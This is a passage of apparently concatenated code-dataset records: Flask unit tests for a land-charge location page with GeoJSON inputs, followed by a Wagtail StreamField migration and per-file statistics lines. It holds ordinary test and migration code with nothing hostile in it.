= LocalLandChargeItem() state.geometry = input self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] response = self.client.get(url_for('add_land_charge.get_location')) self.assertStatus(response, 200) self.assert_template_used('location.html') self.assertIn('load_previous_data', response.data.decode()) self.assertFalse(self.mock_session.return_value.charge_added_outside_users_authority) def test_add_location_post_redirects_to_new_when_state_none(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' self.mock_session.return_value.add_charge_state = None self.mock_session.return_value.user.permissions = [Permissions.add_llc] response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': input}) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.new')) def test_add_location_post_returns_required_validation(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': None}) self.assert_status(response, 400) self.assert_template_used('location.html') self.assertIn('is required', response.data.decode()) def test_add_location_post_returns_count_validation(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') input_json = {"type": "FeatureCollection", "features": []} feature = {"type": "Feature", "geometry": { "type": "Polygon", "coordinates": [ [[511076.08598934463, 381319.1389185938], [502935.0162093069, 344754.81621829123], [460299.51643357374, 365124.6766137525], [478395.29646112275, 392099.3797708411], [511076.08598934463, 381319.1389185938]] ]}, "properties": {"id": 1} } for _ in range(0, 501): input_json['features'].append(feature) input = json.dumps(input_json) state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': input}) self.assert_status(response, 400) self.assert_template_used('location.html') self.assertIn('Delete a boundary to continue', response.data.decode()) @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_post_with_add_anywhere_permission_succeeds_when_data_set(self, mock_review_router): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_for_charge') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_anywhere] response = self.client.post(url_for('add_land_charge.post_location'), data={'saved-features': input}) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_address_for_charge')) @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_post_with_add_anywhere_permission_succeeds_when_address_data_set(self, mock_review_router): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' selected_address = { 'address': 'display address', 'line_1': 'Flat 1', 'line_2': 'Place', 'line_3': 'Holder', 'line_4': 'Flat 1', 'line_5': 'Flat 1', 'line_6': 'Flat 1', 'postcode': 'postcode', 'uprn': 123456789 } state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_anywhere] response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input, 'selected-address': json.dumps(selected_address) }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_address_confirmation')) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_add_location_post_succeeds_when_no_address_and_in_authority(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_for_charge') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] self.mock_session.return_value.user.organisation = 'abc' mock_la_api.return_value.get_authorities_by_extent.return_value = {"abc": True} response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) mock_la_api.return_value.get_authorities_by_extent.assert_called() self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_address_for_charge')) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_add_location_post_succeeds_when_address_data_set_if_in_authority(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' selected_address = { 'address': 'display address', 'line_1': 'Flat 1', 'line_2': 'Place', 'line_3': 'Holder', 'line_4': 'Flat 1', 'line_5': 'Flat 1', 'line_6': 'Flat 1', 'postcode': 'postcode', 'uprn': 123456789 } state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] self.mock_session.return_value.user.organisation = 'abc' mock_la_api.return_value.get_authorities_by_extent.return_value = {"abc": True} response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input, 'selected-address': json.dumps(selected_address) }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) mock_la_api.return_value.get_authorities_by_extent.assert_called() self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_address_confirmation')) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_add_location_post_redirects_to_location_confirmation(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' selected_address = { 'address': 'display address', 'line_1': 'Flat 1', 'line_2': 'Place', 'line_3': 'Holder', 'line_4': 'Flat 1', 'line_5': 'Flat 1', 'line_6': 'Flat 1', 'postcode': 'postcode', 'uprn': 123456789 } state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] self.mock_session.return_value.user.organisation = 'Abc' mock_la_api.return_value.get_authorities_by_extent.return_value = {"DEF": True} response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input, 'selected-address': json.dumps(selected_address) }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=True)) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_add_location_post_redirects_to_location_confirmation_no_address(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] self.mock_session.return_value.user.organisation = 'Abc' mock_la_api.return_value.get_authorities_by_extent.return_value = {"DEF": True} response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=False)) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_post_with_add_england_permission_succeeds_when_address_data_set_if_in_authority(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' selected_address = { 'address': 'display address', 'line_1': 'Flat 1', 'line_2': 'Place', 'line_3': 'Holder', 'line_4': 'Flat 1', 'line_5': 'Flat 1', 'line_6': 'Flat 1', 'postcode': 'postcode', 'uprn': 123456789 } state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_england] mock_la_api.return_value.get_authorities_by_extent.return_value = {"abc": True} response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input, 'selected-address': json.dumps(selected_address) }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) mock_la_api.return_value.get_authorities_by_extent.assert_called() self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_address_confirmation')) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_post_with_add_england_permission_redirects_to_location_confirmation(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' selected_address = { 'address': 'display address', 'line_1': 'Flat 1', 'line_2': 'Place', 'line_3': 'Holder', 'line_4': 'Flat 1', 'line_5': 'Flat 1', 'line_6': 'Flat 1', 'postcode': 'postcode', 'uprn': 123456789 } state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc, Permissions.add_extent_england] self.mock_session.return_value.user.organisation = 'Abc' mock_la_api.return_value.get_authorities_by_extent.return_value = [] response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input, 'selected-address': json.dumps(selected_address) }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) mock_la_api.return_value.get_authorities_by_extent.assert_called() self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=True)) @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_add_location_post_redirects_to_error(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] self.mock_session.return_value.user.roles = ['LLC LA Admins'] self.mock_session.return_value.user.organisation = 'Abc' mock_la_api.return_value.get_authorities_by_extent.side_effect = ApplicationError(500) response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) self.assert_status(response, 302) self.assertRedirects(response, '/error') def test_get_no_permission(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') self.mock_session.return_value.user.permissions = [] response = self.client.get(url_for('add_land_charge.get_location')) self.assertStatus(response, 302) self.assertRedirects(response, '/not-authorised') def test_post_no_permission(self): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') self.mock_session.return_value.user.permissions = [] response = self.client.post(url_for('add_land_charge.post_location')) self.assertStatus(response, 302) self.assertRedirects(response, '/not-authorised') @patch('maintain_frontend.add_land_charge.location.LocalAuthorityService') @patch('maintain_frontend.add_land_charge.location.ReviewRouter') def test_add_location_post_redirects_to_location_confirmation_no_address_if_address_invalid(self, mock_review_router, mock_la_api): self.client.set_cookie('localhost', Session.session_cookie_name, 'cookie_value') mock_review_router.get_redirect_url.return_value = url_for('add_land_charge.get_address_confirmation') input = '{"type":"FeatureCollection",' \ '"features":[' \ '{"type":"Feature",' \ '"geometry":{' \ '"type":"Polygon",' \ '"coordinates":[' \ '[[511076.08598934463,381319.1389185938],' \ '[502935.0162093069,344754.81621829123],' \ '[460299.51643357374,365124.6766137525],' \ '[478395.29646112275,392099.3797708411],' \ '[511076.08598934463,381319.1389185938]]]},' \ '"properties":{"id":1}}]}' state = LocalLandChargeItem() self.mock_session.return_value.add_charge_state = state self.mock_session.return_value.user.permissions = [Permissions.add_llc] self.mock_session.return_value.user.roles = ['LLC LA Admins'] self.mock_session.return_value.user.organisation = 'Abc' mock_la_api.return_value.get_authorities_by_extent.return_value = {"DEF": True} response = self.client.post(url_for('add_land_charge.post_location'), data={ 'saved-features': input, 'selected-address': '{"hello":"world"}' }) mock_review_router.update_edited_field.assert_called_with( 'geometry', json.loads(input.strip()) ) self.assert_status(response, 302) self.assertRedirects(response, url_for('add_land_charge.get_location_confirmation', address_selected=False))
43.815832
118
0.625581
2,757
27,122
5.823359
0.064563
0.050701
0.046154
0.05886
0.939894
0.939022
0.936095
0.93516
0.934662
0.934662
0
0.113615
0.24906
27,122
618
119
43.886731
0.67467
0
0
0.838843
0
0
0.291866
0.197183
0
0
0
0
0.113636
1
0.041322
false
0
0.020661
0
0.066116
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b6c9616f41f34d4aa170cf2e27db78a43fbac1cf
14,793
py
Python
great_international/migrations/0101_remove_limit_on_atlas_landing_page_block_main_content.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2018-03-20T11:19:07.000Z
2021-10-05T07:53:11.000Z
great_international/migrations/0101_remove_limit_on_atlas_landing_page_block_main_content.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
802
2018-02-05T14:16:13.000Z
2022-02-10T10:59:21.000Z
great_international/migrations/0101_remove_limit_on_atlas_landing_page_block_main_content.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2019-01-22T13:19:37.000Z
2019-07-01T10:35:26.000Z
# Generated by Django 2.2.24 on 2021-09-06 13:11 from django.db import migrations import wagtail.core.blocks import wagtail.core.fields import wagtail.images.blocks class Migration(migrations.Migration): dependencies = [ ('great_international', '0100_refactor_international_homepage'), ] operations = [ migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_ar', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_de', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_en_gb', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_es', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_fr', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_ja', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_pt', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='investmentatlaslandingpage', name='downpage_sections_zh_hans', field=wagtail.core.fields.StreamField([('panel', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('main_text', wagtail.core.blocks.TextBlock(help_text='The first column of the panel')), ('call_to_action', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(max_length=255)), ('link', wagtail.core.blocks.StructBlock([('internal_link', wagtail.core.blocks.PageChooserBlock(label='Internal link', required=False)), ('external_link', wagtail.core.blocks.CharBlock(label='External link', max_length=255, required=False))], required=False))], help_text='Set text for the CTA and either an internal or an external URL for its destination', required=False)), ('second_column', wagtail.core.blocks.StreamBlock([('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('image_alt', wagtail.core.blocks.CharBlock(max_length=255, required=True)), ('caption', wagtail.core.blocks.CharBlock(max_length=255, required=False))])), ('text', wagtail.core.blocks.TextBlock())], help_text='An image OR a text block, but not both.', label='Second column of panel', max_num=1, required=False)), ('block_slug', wagtail.core.blocks.CharBlock(help_text='If a block has special content, this helps us identify it. Consult with a developer when you set it. If in doubt, leave it blank.', max_length=255, required=False))]))], blank=True, null=True), ), ]
238.596774
1,469
0.745082
1,995
14,793
5.423058
0.058145
0.139292
0.199556
0.129772
0.975783
0.975783
0.975783
0.975783
0.968851
0.968851
0
0.014319
0.09829
14,793
61
1,470
242.508197
0.796761
0.00311
0
0.654545
1
0.163636
0.306816
0.021567
0
0
0
0
0
1
0
false
0
0.072727
0
0.127273
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
8e08aaa4bcbcaeeb49c0995b980389fbb4038c75
12,102
py
Python
monai/networks/nets/gmvae.py
albarqounilab/MONAI
bb0b307d68021a243011a58fd82a1d275f00a51a
[ "Apache-2.0" ]
null
null
null
monai/networks/nets/gmvae.py
albarqounilab/MONAI
